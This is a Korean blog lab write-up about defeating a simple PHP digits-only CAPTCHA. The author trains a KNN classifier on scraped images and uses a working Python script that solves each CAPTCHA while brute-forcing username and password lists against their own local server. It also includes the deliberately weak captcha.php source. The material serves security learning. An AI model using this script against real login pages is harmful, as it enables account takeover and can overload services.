ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Captcha - Brute Force(KNN)
    Web - Security/Login 2023. 7. 19. 12:48

     

    PHP, MySQL로 간단한 로그인 페이지를 구현하였으며 PHP를 이용하여 Captcha 이미지를 생성해 내도록 하였다

    실제 사이트에 사용하기엔 보안이 매우 취약하므로 사용하지 않아야 하며
    Brute Force를 쉽게 하기위해 0부터 9까지의 숫자만 사용하였다

     

    본 실습은 모두 본인이 소유한 서버와 사이트를 대상으로 진행되었습니다.

     

    KNN 이란?


    KNN은 최근접 이웃법으로 분류 문제에 사용하는 알고리즘이다
    새로운 데이터가 들어왔을 때 기존 데이터의 그룹 중 어떤 그룹에 속하는지 분류하는 문제에 주로 이용된다

     

     

    로그인 페이지

    위와 같이 로그인 페이지와 캡차 이미지를 간단히 구현했다

     

     

     

    훈련 데이터 생성


    로그인 페이지에서 생성된 캡차 이미지를 다운받는다

    이때 0부터 9까지 모든 숫자가 있어야 하므로 여러 장 다운로드한다

     

    훈련 데이터를 만들기 위해 다운받은 이미지를 이용해 아래와 같이 6, 6, 8, 7, 7 로 각각 1개씩 동일한 사이즈로 만든다

     

    0부터 9까지 만들기 위하여 1.png , 2.png , 3.png , 4.png 모두 같은 방식으로 훈련 데이터를 생성한다

     

    모두 한 뒤 위와 같이 0번 폴더에는 숫자 0의 사진이, 1번 폴더에는 숫자 1의 사진이 들어가도록 한다

     

    위와 같이 훈련 데이터가 모두 준비되었다

     

    만들어진 데이터를 이용하여 npz 파일을 생성한다

     

    위와 같이 훈련 데이터가 정상적으로 생성되었다

     

    다운받은 1.png 이미지를 대상으로 npz 파일을 이용해 이미지에 있는 숫자를 추출한다

    캡차 이미지의 숫자 추출에 성공했으니 자동화 공격으로 넘어간다

     

     

     

    Brute Force


    아래와 같이 파이썬을 이용해 Brute Force 코드를 작성하였다

    import requests
    from bs4 import BeautifulSoup
    import os
    import run
    import time
    
    user_list = ['1337', 'admins', 'gordonb', 'pablo', 'smithy']
    password_list = ['brute', 'gogo', 'groot', 'choi', 'security', 'password']
    try_num = 0  # 시도 횟수
    
    for user in user_list:
        for password in password_list:
            target = "http://192.168.64.6/login/login_5/login_5.php"
            target_check = "http://192.168.64.6/login/login_5/login_5check.php"
            response = requests.get(target)
            html_content = response.content
    
            soup = BeautifulSoup(html_content, 'html.parser')
            captcha_image = soup.find('img', {'alt': 'CAPTCHA 이미지'})
    
            image_url = captcha_image['src']
            base_url = target.rsplit("/", 1)[0] + "/"
            absolute_image_url = base_url + image_url
    
            response = requests.get(absolute_image_url)
            save_path = '이미지 저장 경로'
    
            with open(os.path.join(save_path, f'captcha{try_num}.png'), 'wb') as f:
                f.write(response.content)
    
            captcha_number = run.knn_brute("이미지 저장 경로"+f'captcha{try_num}.png')
            # 로그인 페이지에 있는 캡차 이미지의 숫자 추출
    
            params = {'username' : user, 'passwd' : password, 'captcha' : str(captcha_number)}
            response = requests.get(target_check, params=params)
    
            requested_url = response.request.url
            print("Requested URL:", requested_url)
            print(response.text)
            print()
    
            if '성공' in response.text:
                print('시도 횟수 : ', try_num)
                print('captcha 번호 : ' , captcha_number)
                print('아이디 : ', user)
                print('비밀번호 : ', password)
                print()
    
                break 
    
            try_num += 1
            time.sleep(1)

     

    아이디 5개, 비밀번호 6개로 테스트를 실시하였다

    무차별적으로 요청을 보내니 서버가 다운되어서 1초의 간격을 두고 요청을 보냈다

     

    위와 같이 로그인에 성공했다

     

    내가 지정한 폴더로 캡차 이미지가 정상적으로 다운로드되었고
    다운받은 이미지의 숫자를 추출하여 로그인 요청을 정상적으로 보내는 데 성공했다

     

     

     

    captcha.php
    session_start();
    
    // CAPTCHA 이미지 크기 설정
    $imageWidth = 200;
    $imageHeight = 50;
    
    // 랜덤한 숫자 문자열 생성
    $randomString = '';
    $characters = '0123456789';
    $charactersLength = strlen($characters);
    for ($i = 0; $i < 5; $i++) 
    {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    
    // 생성된 문자열을 세션에 저장
    $_SESSION['captcha_string'] = $randomString;
    
    // 이미지 생성
    $image = imagecreatetruecolor($imageWidth, $imageHeight);
    $bgColor = imagecolorallocate($image, 125, 125, 255); // 배경색 설정
    $textColor = imagecolorallocate($image, 0, 0, 0); // 문자색 설정
    
    // 이미지에 문자열 그리기
    imagefill($image, 0, 0, $bgColor);
    imagestring($image, 5, 50, 20, $randomString, $textColor);
    
    // 이미지 출력
    header('Content-type: image/png');
    imagepng($image);
    imagedestroy($image);

     

    아래 영상을 참고하여 Captcha Brute Force를 진행하였습니다

    영상에 있는 코드와 다른 부분이 존재하며 Captcha Hacking의 전체적인 흐름은 같습니다

     

     

    참고자료


    중급 Captcha Hacking 1 ~ 5 - 해킹 자동화 [ Python 데이터 분석과 이미지 처리 ] ( CTF Captcha Hacking Project )

    https://youtu.be/vKktSCf2ru0

    https://youtu.be/2zdiZI1ndjo

    https://youtu.be/ovsK_AxqFIQ

    https://youtu.be/-LM6kkkNhY0

    https://youtu.be/3T2nShDtSME

     

    728x90
Designed by Tistory.